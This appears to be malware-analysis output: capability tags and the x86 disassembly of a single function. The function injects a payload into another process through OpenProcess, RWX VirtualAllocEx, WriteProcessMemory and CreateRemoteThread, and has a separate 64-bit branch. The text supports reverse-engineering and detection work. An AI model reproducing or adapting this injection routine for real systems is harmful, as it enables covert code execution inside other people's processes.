Function at 0x407b2e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
cmp byte [0x426754], 0
push ebx
push esi
push edi
jne 0x407b4e
call fcn.0040fb98
test eax, eax
setne byte [0x426754]
push dword [ebp + 0x10]
xor edi, edi
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x407b6d
or eax, 0xffffffff
jmp 0x407d59
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea ecx, [ebp - 8]
mov dword [ebp - 8], eax
call fcn.004121dc
test eax, eax
je 0x407c99
lea ecx, [ebp - 8]
mov dword [ebp - 8], esi
call fcn.004121dc
test eax, eax
jne 0x407c99
push ecx
push ecx
push edi
push edi
mov edx, 0x100000
mov ecx, esi
call fcn.0040fbb4
add esp, 0x10
mov dword [ebp - 0x14], eax
mov ebx, edx
cmp eax, edi
jne 0x407bbd
cmp ebx, edi
je 0x407d56
lea ecx, [ebp - 8]
mov dword [ebp - 8], edi
push ecx
push ecx
push ebx
push eax
mov ecx, esi
call fcn.0040fd0d
pop ecx
pop ecx
push edi
push 0x33370000
mov edx, pe_nt_image_headers32
mov ecx, esi
call fcn.0040fbb4
mov ecx, eax
add esp, 0x10
mov dword [ebp - 0x10], ecx
mov eax, edx
mov dword [ebp - 0xc], eax
cmp ecx, edi
jne 0x407bfb
cmp eax, edi
je 0x407d56
lea eax, [ebp - 4]
mov dword [ebp - 4], edi
push eax
mov edi, str.XXXXXX
push edi
call fcn.00401133
pop ecx
push eax
push dword [ebp - 0xc]
mov edx, edi
mov ecx, esi
push dword [ebp - 0x10]
call fcn.0040fae9
add esp, 0x10
test eax, eax
je 0x407d52
push edi
call fcn.00401133
pop ecx
cmp dword [ebp - 4], eax
jne 0x407d52
mov edi, dword [ebp - 0x14]
lea eax, [ebp - 4]
and dword [ebp - 4], 0
mov edx, 0x41c2a8
push eax
push 0x2412
push ebx
push edi
mov ecx, esi
call fcn.0040fae9
add esp, 0x10
test eax, eax
je 0x407d52
cmp dword [ebp - 4], 0x2412
jne 0x407d52
push 0
push str.Debug
push str.Injecting64
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
push ecx
push ecx
push ebx
mov eax, esi
cdq
push edi
push edx
push eax
call fcn.0040fc62
add esp, 0x18
jmp 0x407d59
push 0x40
push 0x3000
push 0x100000
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push esi
call edi
mov ebx, eax
test ebx, ebx
je 0x407d56
and dword [ebp - 0x14], 0
lea eax, [ebp - 0x14]
push eax
push 0x40
push 0x100000
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
push 0x40
push 0x3000
push pe_nt_image_headers32
push 0x33370000
push esi
call edi
mov dword [ebp - 0x10], eax
test eax, eax
je 0x407d56
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
mov edi, str.XXXXXX
push edi
call fcn.00401133
pop ecx
push eax
push edi
push dword [ebp - 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407d52
push edi
call fcn.00401133
pop ecx
cmp dword [ebp - 4], eax
jne 0x407d52
lea eax, [ebp - 8]
xor edi, edi
push eax
push 0x1d44
push 0x41e6c0
push ebx
push esi
mov dword [ebp - 8], edi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x407d52
cmp dword [ebp - 8], 0x1d44
jne 0x407d52
push edi
push edi
push edi
push ebx
push edi
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
jmp 0x407d59
push 0xfffffffffffffffd
jmp 0x407d58
push 0xfffffffffffffffe
pop eax
pop edi
pop esi
pop ebx
leave
ret